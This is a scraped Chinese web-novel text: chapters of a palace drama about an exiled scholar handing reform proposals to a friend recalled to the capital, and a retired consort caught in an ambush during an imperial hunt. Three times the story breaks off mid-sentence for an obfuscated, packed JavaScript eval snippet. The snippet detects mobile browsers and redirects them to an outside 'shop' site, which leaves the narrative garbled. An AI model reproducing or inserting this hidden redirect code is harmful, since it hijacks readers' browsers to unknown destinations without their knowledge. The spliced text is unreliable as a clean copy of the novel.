禾家翁是个精神矍铄的老农,牵着孙女的手,因田地的事对冯矩千恩万谢。冯矩回过老人家,又叮嘱完田地里的事,方目送祖孙离去。 祖孙俩走得慢,过了一会儿,冯矩耳边还能听到禾家翁训诫孙女的乡音:“不是要你带话,让冯先生明儿再去地里看,大夜里的,能看到什么,多危险哪……” 话语声很快弥散在夜色里。 剩下一道人影提着风灯陪着冯矩站了一会儿,忽然说道:“这禾家五娘子竟对你有意,上回来我都没瞧出来。什么时候的事?” 冯矩想要接过风灯,那人不让:“你手里还有东西,我来拿吧。” “地不平,你对这儿的路不熟。” 闻言,那人便松了手。冯矩用空着的手提灯,转身向村子另一头走去。 女儿家心思单纯,不知遮掩,他晚上也觉出点什么来,于是有意疏远,只是回村的时候天黑了,田间路窄,两侧都是河沟,唯恐踩空了出事,这才让小姑娘拽着他衣服走,没想到平白生出误会。 “我也不知道,”冯矩颇为无奈,又道,“日后我离她远点。” “离远点做什么,反正你还没娶妻。” 冯矩没有说话,好似没听到。那人便也不再说这话。安静地并行了一会,那人才又道:“你手里拎的什么?” “禾家翁给的野兔,明日你来,烧给你吃。” “明日我本就要来,明日是先帝的大祥之日,禁酒食,你该不会忘了吧。既曾为人臣,便该循礼,祭他老人家一程。” 冯矩竟怔了一下,这一句话,一下子将他带回了八方风雨的两年前。 他们慢慢走过一座座村舍,风灯照亮的屋舍门上贴着崭新的对联,这些对联均是前不久过年乡亲们请冯矩手写。 跨过地上的一个土坑,又走出两步,冯矩才开口,话忽然短了,“是。我是忘了。既如此,这兔肉后日再吃罢。” 说到这里,也就走到了屋子前。 两栋土坯为墙、茅草覆顶的农舍,屋前围着一圈篱笆,篱笆里种着些蔬菜。两个屋子,一个用来烧灶,另一个则作起居用,十分简陋。 冯矩把风灯熄了挂在屋外墙上,推门入内,点了油灯。另一个人已经在靠墙的方桌旁坐下,等着油灯端来,往自己的方向拨了拨。 火光明亮,映出一张同样饱经风霜的脸庞。 两年前,束首辅身死的消息传出时,束阳正游历至海南岛琼州府,后来见到雪灾的惨景,歇了游山玩水的心思,去了琉球记事,回来后乘船到了崖州,在其下一座县衙里找了个文吏做,一直没有离开。 说来也巧,做了大半年的文吏后,他竟在这里遇到了去衙门报备行踪的冯矩。 他乡遇故知,本是人生四喜之一。只可惜命运弄人,冯矩手刃束继文,束阳虽猜到其中或有情由,到底让人如鲠在喉。 是故再次相见,他们似敌似友,似亲似疏。但远离了朝堂这么久,很多浓烈情绪似乎也随距离淡却了,一年多过去,偶尔也可以坐在一起,谈谈文章,喝两盅米酒。 曾经的京城如一场繁华旧梦,也不知哪来的默契,他们自相遇后都不曾提及。 冯矩去厨房把兔肉腌好才回来。崖州虽长夏无冬,正月的温度还是低的。门一开,咸湿的海风刮将进来,将油灯火苗吹得张牙舞爪。 “少见你这么晚还过来找我。” 冯矩带上门,只见屋子里头,方桌上,束阳已经摆上了一叠纸,最上头写满了字。束阳把写了字的拿下来,露出下面崭新的纸。 “给你带了些纸,还有墨。还有这个,我写的《巨贾》最后一篇,你看看。” 冯矩在他对面坐下:“早说了让你不要破费,这里纸不便宜。” 束阳淡道:“我好歹还有点俸禄,虽然少,聊胜于无,总比你好,你种的地交了税连口饭都不够吃……纸再贵也要买,总不能不写字吧。” 冯矩接过文章,平声道:“那就不写了。” “你!”束阳也不知被什么刺到了,勃然大怒,“你又说什么丧气话!?” 话还没说完,他看到冯矩捧着纸的手:皮肤粗糙黢黑,手背上有着翘起的干皮,指缝里还有一些青泥。不是他不爱干净,而是日复一日浸泡在水田里,有些青泥渗透了指甲,想洗也洗不去了。这一幕让束阳僵在原地,剩下的字再也说不出口。 他知道,冯矩这两年一直致力于帮助这里的农民,教他们更合时宜的耕种方式,为此还特地托他在书肆买了许多农术书籍,有时熬夜苦读一宿,只是为了想知道如何解决田里的稻苗叶片矮小的问题。 束阳重重地吐出一口气,生硬道:“这些我都买了,你要是用不上,就扔了吧。” 冯矩仔细读过他撰写的文章,润色一二,递还回去,道:“这些还不足以让你漏夜而来,还有什么事,一道说了吧。” 束阳也不想卖关子,但一见到冯矩,要说的事也不知为何总觉得说不出口。这对他来说是好事,可想顾及对方的心情,便越发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116319|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得有些炫耀了。 可有些话总得说,踟蹰再三,他还是直言道:“我要回京了。圣人召我回去。” 冯矩果然怔住,但也只是一瞬,便真心实意地笑了起来:“好事啊,恭喜你。什么时候走?” “越快越好,大祥之后便动身了。” “这么快……喝酒么,我那儿正好有村民送的椰子酒,京城里没有,谅你来这两年整日板着个脸,也没人送你这个,怕是没喝过,”见束阳黑了脸,冯矩笑道,“我去拿过来,给你尝个鲜,也算给你践行。” 束阳看他说着便去拿酒,忍不住酸了句:“你倒是混得如鱼得水。” 冯矩莞尔,洗了两个碗,一人甄了半碗,一碰,说道:“祝你此行一路顺风。” 然后喝了。 又准备再甄,被束阳夺过酒壶,搁在一旁。 “行了,我不喝酒,喝一碗够了……你呢,圣人不会把你丢在这太久,你我总有再见的时候。” “我?”冯矩喃喃。自己把半碗酒干了,看起来有些寂寥。 束阳心里也堵了起来,他终于说道:“你不欠我阿公的……那时候如果不是你站出来,他便功亏一篑了……其实我知道的。”飞快地说完这句,似是不适应这样的煽情,束阳很快站了起来,“这么晚我就不回去了,能否在你这借宿一宿……呃,你这儿还有地方睡么?” 冯矩抬头看他,微笑道:“要是不嫌弃,你我抵足而眠便是。对了,你等我一下。” 冯矩去到屋里头,不一会儿拿出手掌厚的一叠纸,最下面的已经泛黄,上面的颜色尚新。 “这是什么?” 束阳好奇地接过,看到排头写着《变法疏议》,下意识看了眼冯矩,不敢擅自翻看。直到冯矩催了一声,才正襟危坐,翻看了起来。 良久,束阳看完了,兀自沉浸在震惊之中,回味着看到的条条道道。 什么丈田开海、清吏革役、卫所改制、火器统造,等等,单一条拎出来都足以震惊朝野,更别说这里面写了足有二十来条。 起初看,是纸上谈兵,再看却又似乎可行,若贴合实际一条一条地去细思,才发觉乃革弊鼎新之良药,简直叫人如梦方醒。 只是如今的朝廷各部,早就形成了一张张利益网络,不可撼动,这里头的每一条变法,都能在朝廷上掀起血雨腥风,想要推行可谓难上加难。 “这,这是你什么时候写的?” “就这两年里,得空便写一点。只是这里消息闭塞,久不闻庙堂之事,我这里面多是针对两年前的旧政所写,也许有的已经不可用,回头你可酌情修改一下。” “你这是什么意思?什么叫回头‘我’可酌情修改?” “我在流刑途中偶然听说,湖广矿税,实际收缴的每年都比前一年要多半成,但是最后到户部的却不见多。这些钱都哪儿去了?公卿积亿万,大夫积千金,百姓寒苦,流离于路,当是现实写照。这两年,新任圣上勤俭节流,却非长久计,国家之弊,弊在旧政,若要这颗病树长出新芽,必须要挖去朽根,改革势在必行……这篇疏议,只是我闭门造车,一得之见,未必合适,确实需要再做更改。” “你不要避重就轻,”束阳瞪眼,“你知道我问的是什么。冯子规,你有本事写这么个东西,交给我是什么意思,你没有本事自己去实现吗!” “我……?”冯矩自嘲一笑,眼神一瞬迷惘。 怎么会不想呢?现在齐朝,哪个读书人不曾做过挽大厦之将倾的英雄梦?若非无计可施,谁愿意把一腔心血托付给他人。 可是他被困在遥远的崖州啊,这里去京万万里,京直隶的公文,若非加急,要半年才能送到。 “这不是个容易的事。从前我听还是太子的当今和家翁夜谈,圣上就曾提过革新,可沉弊日苛,他是皇帝,要平衡各方势力,顾虑颇多,难以变法。这条路难走,需要有人做开路的刀,若是可以,我自当仁不让。檐臣,你若不敢……” “谁说我不敢了。”束阳打断他,把《变法疏议》小心地用布裹好,塞到怀里。 忽然,他心头一动,想到方才冯矩的话。 湖广矿税的实际税额,岂是能随随便便就听到的,怕是跟当地百姓多方打听,旁敲侧击,再把各种数字慢慢拼凑,才能得出的结论罢。 束阳捻掉桌面上的一点灰尘,犹豫地开口:“你是不是想要打听盐运司的事情?当年贪墨一案,最后就那样定案了,你……” 说到这里,他才觉出自己好似在揭人伤疤,顿生后悔。 “不说了那些了,”冯矩站了起来,端起两只空碗,“时候不早了,你等我一会,我去把兔子腌了,然后烧点水。若是无聊,厢房里有一些书,你自便就是。” 37. 私欲 正月一过,束阳便启程回京。也不知是否因受了冯矩那一碗“一路顺风”的酒,这一路当真平安顺遂,赶在入秋前入了京。 宫城高大的红墙一如既往,琉璃瓦在阳光下熠熠生光。踏上金水桥时,束阳忍不住驻足仰望,这座宫殿仿佛也在俯视着他,以一种亘古又沉默的姿态。 这让他生出一种沧海一粟的战栗,好像一切都未曾变,他从未离去过,又何谈归来。 启正帝李稷在起居的谛思殿接见了他。 以束阳的身份和年纪,很多年前也是李稷的伴读之一,近三年的时光过去,这位年轻的皇帝看起来无太大变化。故人相见,少不得有些心思激切。李稷拉着他先是表达了一番对恩师的哀思和悔恨,又细细关怀了他这些年在外游历之事,最后殷殷展望了君臣携手的未来。 日头渐渐西斜,从殿门投进来的最后一撇阳光消失后,一切陡然昏暗下来,有宫人于犄角处无声地点亮烛灯。束阳总算得以告退。他却行至门口,放下手正欲转身离去,这时,不小心觑见李稷的脸—— 当无人相对,笑容已从皇帝的脸上退去,面无表情地注视着他抑或他身后的某个地方。那一瞬间,束阳好像看到了故去的文景帝。 踏出殿门,唐直抒揣着布包裹从身后追了出来,“唉哟束大人,您的物什忘啦!快收收好。看您这一身,是刚回京便入宫了吧,您这份心可不是谁都有的,圣人看在眼里,特地让我来再嘱咐您两句,您回府好好歇一歇,下月初四再去翰林入职。” 下月初四,那便是整整一个月后了。虽然身无要事,但是束阳还是皱起了眉:“为什么要等这么久?” 唐直抒道:“您想来还没听闻,三天后有西洋诸国的使臣入京,圣人要在京外的繁园举办一场秋狝接待使臣,历时约一月。因为不知道您什么时候回来,本不在随驾的名单里,但方才您一走圣人就说了,要您也跟过去放松一二,让西洋人看看咱们泱泱大齐饱学赡闻的菁英风采。” 束阳却面色古怪地问:“什么繁园?” 唐直抒微怔,和气地解释道:“西洋使臣一年前便定下访齐一事,为彰我大齐之风范,圣人便着人于阳化县的鹿山下修了一座行宫,即为繁园。” 海南到底离京甚远,消息滞塞,唐直抒所说束阳从未听闻。束阳眉头皱得更深了,忍不住指责道:“早年国库赤字,短短一年多的修生养息,怕也不能充盈,这一番大兴土木,何等的劳民伤财啊。” 唐直抒面不改色地听完,仍旧笑道:“束大人所言极是。但迁都北京历时不久,放眼周边,却是一座像样的行宫都没有。西洋诸国不比南洋那些小地方,这是第一次遣来这么大的使团,万万不能让人将咱们小瞧了去,所以这繁园是不得不修啊。” 束阳接受了这番说辞,脸上的厉色淡去,瞧着有些疲倦。入京后,他一直没有太真切的感受,直到这些纷杂的东西一下子砸在耳朵里,才终于有种回到权力旋涡中心的感受。 此时此刻,他忽然怀念起崖州的那个小渔村,怀念起水田和白鸥,还有那一碗椰子酒。那一碗酒,他怎么现在才回出甘味呢? 再谢过圣恩后,他慢慢往宫外走。 午门外,新植了一排梧桐,添了两座水火缸,不远处的一排直房像是新葺过,砖瓦比旁的要更明亮。 来时处处熟悉的宫殿,去时只觉处处陌生了。 鹿山,整座山如一头卧鹿沉睡于野地,有奇峰怪石,风景绝佳。繁园所在乃鹿山山麓,一面临山,三面环水。此次皇家秋狝,大半个鹿山、共有七座峰头都被划作猎场,半年前就已清理完毕,派出严兵把守,百姓止步。 八月初二,使臣来朝,圣人摆驾阳化县,文武百官、后宫嫔级以上皆伴驾。前有京营龙虎卫开路,后有锦衣卫森严随行,队列绵延数十里,前头的已经入了县境,后头的才刚出永定门。 跟在嫔妃的马车后头,还有六辆皇家马车,同样以锦衣卫护道,形制微简,随行的太监身着靛衫,宫女腰佩牙牌,品级不低。车队停下后,太监们掀开车帘,先出来的都是穿着琵琶袖的掌事姑姑,尔后才引出真正的主子——原来是西宫的太后太妃们。 道旁的舆轿将这群尊贵的女人们载入行宫。 给乔燕分的宫殿在行宫的西北角,虽然日光不算顶好,但背靠鹿山,翠竹环绕,院中有一处天然温泉眼,辟了个精致玲珑的温泉池,池边槭树蔚然成荫,叶片火红,如云蒸霞蔚,别有一番趣味。 “这处好,单这温泉池子,就比别的院子胜了不知多少筹,这地儿又僻静,来往人少,正合咱们娘娘的意。”于海笑着道。 乔燕年初病了一场,身形越发消瘦,走在阳光下肤色雪白,像冰雪做的人儿一样。她身上力气还有些不足,搭着宜婵的手沿着曲径慢慢走,一边四下张望,对这里确是说不出的满意。 金春山是早前从司礼监过来布置繁园的太监之一,这天知道乔燕要来,早就候在这里,此刻便跟在乔燕身边,一来为主子逗趣解闷,二来也是为了一些不可告人的隐秘心思。 听完于海的话,金春山便道:“那可不,这处可是唐公公亲自给惠禧太妃留的,这个温泉也是特地辟的,整个繁园里,除了圣人住的地方,也只有娘娘这儿有了。” 说者无意,听者却有心。金春山无心说的几句讨吉祥的话,却让乔燕唇角笑容淡了下去。 宜婵心里咯噔一声,道:“瞧你话说的,一个温泉而已,怎么能与圣人攀比。娘娘旅途一天,定是累了,我们去屋子里看看吧。春山,还要劳烦你去传个膳,帮咱们娘娘要几样清淡的素食和一碗米粥就好。” 见宜婵和自己说话,金春山眼睛微亮,一口全都应下。 用完夕食天就黑了,宫人们将碗筷撤下,金春山近前说道:“娘娘,外间温泉池子一应用具已经准备妥当,您要是想去,这时正好,再晚些夜风起来,就泡不得了。” 宜婵看向乔燕,担心她又想起白日的事,心里不痛快。 乔燕却只想了想,便爽快地应了,“长这么大,我还没泡过天然温泉,便趁这个机会奢侈一把。” 院子里月光如水,遍地粼粼,草木葱茏,温泉池上方薄雾朦胧,美得不似人间。 乔燕不习惯身边有太多人看着,就遣散了大部分宫人,只留宜婵在身边服侍,还有一个于海在不远处听应。 她除去衣衫,步入池中,发出一声舒服的叹息,忍不住道:“要是一直住在这就好了。” 宜婵道:“等过几年七殿下成年,您跟着他去封地,到时候让他也给您造个温泉池子。” 乔燕顺着她说的想了想,不由笑了起来。 池边燃着驱虫的香料,薄烟袅袅,乔燕脑海里忽然出现了一段没头没尾的旋律,小声哼唱着,一边吃下宜婵喂到嘴边的葡萄。 “娘娘唱的这是什么调子?” “……我也记不得了,是小时候在姑苏听的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116320|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我……姨娘,以前总哼这个。以前……院子外面有一棵很大的槐树,我爬上去,姨娘就会把我捉下来狠狠打一顿。打完后,她却先我一步掉眼泪。” “都怪奴婢,难得出来散心,还提起这些伤心事。” “什么散心,也不过是从一处笼子,到另一处笼子。明日里妃嫔们都可以骑马上山大展身手,偏偏我们这些太妃,不得抛头露面,连这处行宫都出不得。” 咔嚓—— “什么人?!” 槭树丛外忽然传来树枝断裂的声响,乔燕惊魂不定地缩进水里,朝声音来源处看去,却只看得见黑影丛丛,隐约似乎有两道身影,再看又疑似错觉。 宜婵起身喝问:“于海,有人过来吗?” 树丛外,于海跪在地上,两鬓出的汗都快结霜了,他已经跪了不短的时间。在他跟前站着两个人,正是当今皇上和近身的太监。他的脑子一片空白,根本不敢细想为何这两人会在这个时候出现在这里,更不敢想皇上透过树丛,朝里面聚精会神地看了这么久,究竟看到了什么…… 那边宜婵又问了一遍,似乎有过来查看的意向,于海白着脸抬头,皇帝也正神色莫测地看他,用里头听不到的音量说道:“没有人来过。” 是……是……没有人来过…… 于海努力用镇定的语调高声道:“奴婢在呢,没人过来,刚刚有只猫儿从树上蹿过去了。” 眼前的靴子转了个个儿,无声地踩上石砖地板,不疾不徐地走远了。 李稷一边走,脑子里还盘旋着女人方才的抱怨,想起了年初,她受寒卧床,明明只是寻常风寒,医官也用心诊治,却迟迟不见好转。 他不敢去看她,于是差人从太医院拿过诊录,才知她郁结于心,了无生意,以致一场小病也拖成了大患。 她大好年华,却被困在宫中,尤其是随侍太后的这两年,吃斋念佛,诵经抄书,虽从未将孤苦宣之于口,人和心却一起枯萎了。 他很心疼。却不知这到底是谁之过。是他吗?是他逼得她不得不去太后处寻求庇护。可就算不去太后处,她待在她的享纯宫,难道不也如她所说,是从一个笼子,到了另一个笼子吗? 快到灯火通明处时,李稷才停下脚步,目光注视着前方,问:“你有什么想说的?” 身边静了一瞬,提在手里的灯笼佝偻下去,传来唐直抒同样轻的声音:“惠禧太妃娘娘,当初是奴婢接进宫的,那会儿她十九岁,看着却像十五六岁的小姑娘,瞧什么都怯生生的。那么小的姑娘,一来就站到了先帝的身边,不知引多少人嫉妒,谁也不觉得她能走多远,可没想到,她偏就这么站住了。太妃娘娘是奴婢见过的最清醒的女人,她知道自己想要什么,也绝不会要那些不属于她的东西。” 沉默片刻,换来皇帝的一声轻笑:“没想到你也有替别人说话的时候。” 又片刻,他长长吐出一口气:“朕知道,朕没想逼她做什么……我只是……有时候心里乱,做事就糊涂了。” 说到这里,他捂着嘴咳了两声。唐直抒往前迈了半步,要掏干净的帕子,被李稷抬手止住了。 “每次病发,朕都会想到皇后,她陪我一起在那六年里熬坏了身子,没过上一年好日子就去了。朕现在这样,怕是很快就能去陪她了。” “您是天子,是圣人,自能千秋万岁。” 李稷抬头幽幽叹了一声,什么都没再说,往那最轩昂的殿室去了。 38. 秋狝 野草在指间拨弄,嘀咕道:“要是做匹马儿也挺好的,到哪里都有的吃。哪像我,平日里山珍海味,现在还不是得饿肚子。” 目光一抬,看到了马鞍上的锦衣卫标识,自我调侃的心顿时黯了下去。那三名侍卫年岁也不大,也不知现下如何了。 天蒙蒙亮时,宜婵检查完给主子准备的衣物,从偏室出来,迎面撞上于海。也不知为什么,看到她,于海竟打了个哆嗦。 宜婵敏锐地察觉到一丝异样,“这是怎么了?脸色怎么这么差,昨夜没睡么?” “奴婢第一次出宫,昨夜兴奋了点,一直没有睡着,”于海搓了搓脸,苦笑道,“早晨好不容易有了睡意,却到了上值的时辰,方才走路的时候便魂游似的,一抬头看到您,差点没吓一跳。” “我有那么吓人么。说到上值,你不在门口站班,进来做什么?” “方才唐掌印身边的小太监来传口谕,圣人怕太妃太后诸位娘娘们苦等孤寂,特许娘娘们也去围场凑凑热闹。辰时前要到围场。” 事发突然,宜婵却也没有多想,点头说道:“好,我知道了,你去吧。若实在太困,等会就不必随侍娘娘了,你自去补个觉。” 于海千恩万谢。 宜婵看了看天色,若要赶在辰时前抵达围场,娘娘就不能再睡了。想到这里,她脚步一拐,寻了几个宫女备梳洗用具,自个儿则去叫醒乔燕。 乔燕在太后宫里这两年早已习惯了早起,今日本来也醒了,但一想到身在行宫,便浑身疲懒,闭眼假寐,听到宜婵禀报可去围场旁观,不由起了几分兴致,精神抖擞地起了床。 等到梳妆时,司礼监还特地着人送来了两套骑装和一把精致的小弓,乔燕更是惊喜,指了一件深紫的换上,头发也梳了个可以骑马的发髻。 皇家围场乃是在鹿山脚下辟出的一块平地,宽阔非常。东边正中便是皇帝大营,其余大大小小营帐围绕帝营向两侧一字排开。帝营外边早已摆好了皇帝的仪仗,霓旌彩屏,宝案华盖,士兵林立。 其中最为显眼的乃是神机营的护卫马队,人人手持火铳火枪,皆肃穆而不哗。这种先进的兵器领先西洋约一百年,使臣自没见过火器,此刻一见,均露出了敬畏又好奇的神情。 太妃毕竟是旧时人物,不宜出风头,给她们安排的位置在宗室之侧。乔燕到时,有几个太妃已经就坐,不一会儿相熟的孙太妃也来了,凑到乔燕耳边低声道:“听说太后不来,我本也不打算来了,但一想到这样热闹的时候还有几时能见,咬咬牙还是来了。现在见大家伙都在,我才放下点心。” 确实,此行除了太后未至,其他太妃竟一个不落的都到了。乔燕学着孙太妃咬耳朵:“想是都这么想的。” 孙太妃会心一笑,见围猎尚未开始,聊起了亳王李琢,她是亳王的生母,乔燕则是亳王现在名义上的养母,二人又都是讲道理的人,感情素来和睦,此时聊天便也十分轻快。 辰时,帝驾恭临,这一场秋狝就此拉开帷幕。场中所有人,不论身份,都可以入林狩猎,只是为了公平,不许使用火器。许是为了在外邦使臣面前彰显国威,皇帝许下了不菲的彩头,既有珍宝黄金、亦有宝马与神兵。待得皇帝一声令下,鼓乐震天,无数郎君们骑马入林,身后缀着奔跑的士兵,马蹄声逐渐没于无际的山野里。 正当此际,一位八九岁的半大少年策马近前,待看到坐在一起的孙太妃和乔燕后面露微笑,翻身跳下马。 乔燕看一眼孙太妃,笑道:“恒奴又长高了,穿上这身骑装,倒是格外英姿勃发。” 李琢近前行礼:“儿子拜见母妃和孙太妃。” 因他如今记在乔燕名下,故而只能称乔燕为“母妃”。 见到儿子,孙太妃的笑便掩不住了,拉过李琢,替他理了理衣襟,叮嘱道:“山中虽无猛兽,却也要小心,切不可离开护卫。” “儿子知道,请太妃放心。”李琢乖巧应下。 李琢方告辞,又有一年轻郎君近前,方才他在一旁等候多时,乔燕早就注意到了,此刻见他上前,终于按捺不住站起身。 “四哥!” 当年乔燕入宫,乔四郎乔翀曾多番阻拦,后来因缘际会,皇城风起云涌,一晃三载竟再未谋面。 乔翀穿了一身朱色贴里,外套黑色罩甲,身形修长,褪去跳脱的青涩,稳重内敛了许多。 乔翀也端详着妹妹,见她脸色红润,服饰华贵,终于放下心来似的,露出个怅然又释怀的笑容,拱手行礼,“臣下见过太妃娘娘。” 乔燕眼圈微红,轻声道:“四哥不必多礼。” 乔翀道:“我是跟着伯父来的,正要下场行猎,看到您在这,特意来向您请安。” 此处人多眼杂,说不得体己话,更不能有丝毫的失仪。乔燕仰头凝视着乔翀,千言万语都咽了下去,最后只笑叹道:“年节母亲入宫时曾说起,四哥两年前中解元后又外出求学,什么时候回来的?来年殿试可要下场?现在看到四哥比从前成熟了很多,我也放心了。” 想了想,乔燕摘下一个荷包递过去。 “这里面装着我抄的一份楞严咒,可以保平安,送给四哥,祝四哥此行大获而归。” “谢娘娘。我上个月刚回来。此行归家只是探望爹娘,大伯道我尚未到火候,还不到参加殿试的时候。” 如今乔广川在内阁任次辅,乔湛入了礼部,去年刚因功绩擢了半品,乔家赫然是朝廷新贵。树大招风,乔翀在这个时候再考入翰林,对乔家来说未必是好事。 乔广川思量周全,乔家有他带领,着实了却了乔燕好大一个心事。 乔翀将荷包珍而重之地系于腰间,方告辞离开。 不一会儿场地便空了一大片,不仅是年轻郎君,许多穿了骑装的小娘子亦带着护卫入林。 华盖下,李稷站了起来,向身后看了眼,见后宫众人分明露出了向往的神色,却自顾矜持着,尤其是有些人,焦急之色已经溢于言表了,不由好笑道:“难得有个玩乐的机会,朕知道你们都快憋坏了,不必顾及什么,想入林去便是,只是每人须得带好护卫。稽川。” 锦衣卫指挥使稽川应声。李稷吩咐道:“给每个想入林的女眷配四个锦衣卫护着,再来柄轻省的弓。” “是。” 唐直抒笑道:“圣上,奴婢擅作主张,给娘娘们备的弓箭早上都已送了过去。” “还是你行事周全。”李稷念头一转,又道:“这样,光打猎意思也不大,朕也给你们个彩头,所有女眷,不论小姐夫人、宗室后妃,此行狩猎第一的,朕不仅有东西赏赐,更许你们一个愿望。稽川,你们不许出手帮忙。” 说话途中,他目光很短暂地在某处停了一下,很快转过头,没再管因为他这一句话而途掀波澜的身后诸人,活动了下肩膀,兴致颇高地道:“牵朕的马来,朕也去活动活动身子。” 山间温度低,晨雾未散,于林间流转,乔燕握紧缰绳感受着掌心的潮意。枣红马不安地踏着蹄子,将枯叶碾碎。四个锦衣卫呈菱形护在四周,腰间刀柄在薄雾中泛着冷光。 入山前,乔燕还和孙太妃互道只在外围骑马,过过瘾便好,谁知贪看山景,想着再走远些也无妨,不知不觉间就入得深了。也不知何时起,四周已不闻人声。 “娘娘,往东是鹿鸣涧,常有野鹿饮水。往西是断云崖,景致虽好,却要当心碎石路滑。”稽川不知何时策马近前,以为乔燕因为不知向哪儿前行而犹豫,建议道。 行到此处,看一时之景,倒也够了。乔燕心生回转之意,勒马道:“这山景虽好,却连一只野兔都没看到,说是出来行猎,这样空着手回去我倒是无所谓,就怕指挥使失了颜面。” “怕是先前的人马惊走了飞鸟走兽,鹿鸣涧离此处不远,这种水源附近常有动物出没,娘娘可以去那里碰碰运气。” 乔燕忖了片刻,道了句也好,轻夹马腹,顺着稽川所指的方向前去。 不多时,峰回路转,视野陡然开阔。前方山壁上,石缝里涌出一股清泉,自高向低而流,叮叮咚咚地汇成一汪山涧。 也是运气好,离得尚远便看到几头獐子在池边饮水。乔燕一喜,有模有样地弯弓搭箭,这是她此生第一次摸到弓箭,入林前向稽川请教了一番,只学了个形似,箭一离弦就失了劲头,一头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116321|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎进不远处的灌木丛里。 池边獐子群得了警示,纷纷拨头而去,就在这时,一只箭穿云挟风而过,精准地射穿了一头獐子的脖子。 稽川抱拳请罪:“未及娘娘示下,卑职僭越了。” “指挥使好箭法。你们快去,把指挥使的猎物收起来。” 乔燕展颜一笑,并不觉得失了面子,体会这样从前未曾经历过的事,于她而言属实新鲜有趣。 而一旦尝了其中趣味,她便又不想回了。这样流连半晌,在锦衣卫的协助下又猎了一些小动物,见日头升空,到了和孙太妃说好回去的时辰,这才依依不舍地策马回转。 就在这时,稽川忽然勒马。乔燕侧目看去,见他神色凝重,正待询问,却闻一声火铳炸响,林间惊起一片飞鸟。 “不好!” 此次入林,唯有李稷身边护卫的神机营带有火铳。出发前李稷曾声明行猎禁用火器,若非万不得已,神机营怎会动用火器? 稽川身为锦衣卫指挥使,下意识便想拨马前去护驾,记起此行任务,向乔燕道:“圣人恐怕有危险,卑职得去看看,娘娘勿再逗留,就让卑职的这三个属下护送娘娘回去。” 乔燕心中不安,乖觉点头。稽川心急如焚,一边摸出铜哨吹响,一边扬鞭驱马而去。 乔燕在另外三骑锦衣卫的护送下往林外而去,经过鹿鸣涧时,忽闻一股浓重的血锈味,她胆战心惊地侧头,只见三具尸体倒在池边泥地上,其中一人还穿着太监的衣服,骇得她下意识勒紧缰绳,马儿受血腥味刺激,一声嘶鸣,前蹄扬起,将她掀翻在地。 就在此时,祸不单行,丛林中蹿出五六个蒙面人,见到锦衣卫拔刀便上,两名锦衣卫顶上,剩下一人,顾不上尊卑有别,道了一声得罪,拦腰将乔燕捞起,护在身前马背上,狠抽马鞭,飞快地蹿入林间。 只是还没行多久,便有两名歹人骑马追了上来,认出他们骑的是断后弟兄们的坐骑,剩下的锦衣卫胸中大悲。身后利箭袭来,他要一边招架,一边策马,实在分心乏术,再加上二人一骑终究比不过单骑,眼见要被追上,他塞缰绳到乔燕手里:“娘娘您先走,卑职拦住他们。” 语未毕,人已跃下马,一人一刀拦了上去。 乔燕抱住马的脖子,一手死死拽着缰绳,风吹得脸颊生疼,也不知过了多久,马速渐渐慢了下来。四下都是参天大树,想来已深入山林,乔燕吐了口气,勒马四望。 事到如今,她倒是冷静下来。 林中猛兽已被驱走,危险不大。也不知到底出了什么事,此刻若寻路回营地,说不得还会撞到歹人。再三思忖后,乔燕决定就地等待救援。 天色渐晚,山风凛冽,乔燕牵着马找到一个避风的山坳处,系缰绳于树干上,自己则找了块石头依靠着坐了下来。 这一坐下来顿觉饥肠辘辘,只是身上没有吃的,马背上倒是绑着两只猎到的野兔子,但一个久居深宫的后妃又哪会处理,只能生忍着。风一吹,又冷又饿,好不可怜。 看着马在不远处悠闲地啃着草,乔燕难得羡慕,拔了根手边的 这时,她忽然看到马脖子上挂着一个铜哨,回想起先前稽川吹过一个类似的,并无哨音,想来许是锦衣卫之间独特的联络方式。 犹豫片刻,摘下铜哨,用衣袖擦了擦,试探地吹了两声,果然没有哨音,这下乔燕大了胆子,更用力地吹了一下。 哗啦啦—— 一只猛禽忽而从树冠中扑下,吓了乔燕一跳。那只黑乎乎的大鸟就这么站在离地一丈高的树枝上,歪着头瞧着人,定睛一看竟是一只黑羽白喙的鹰。 一人一鹰大眼瞪小眼等了片刻,乔燕试探着举起铜哨,又吹了一声,黑鹰果然有了反应,扑棱棱地飞下枝头,绕着她盘旋一圈,最后落在更近的石头顶上。 原来是锦衣卫训的猎鹰。 乔燕放下心,又等了一会儿,只听一阵翕动,一道人影拨开草木,隐隐现在夜色里。 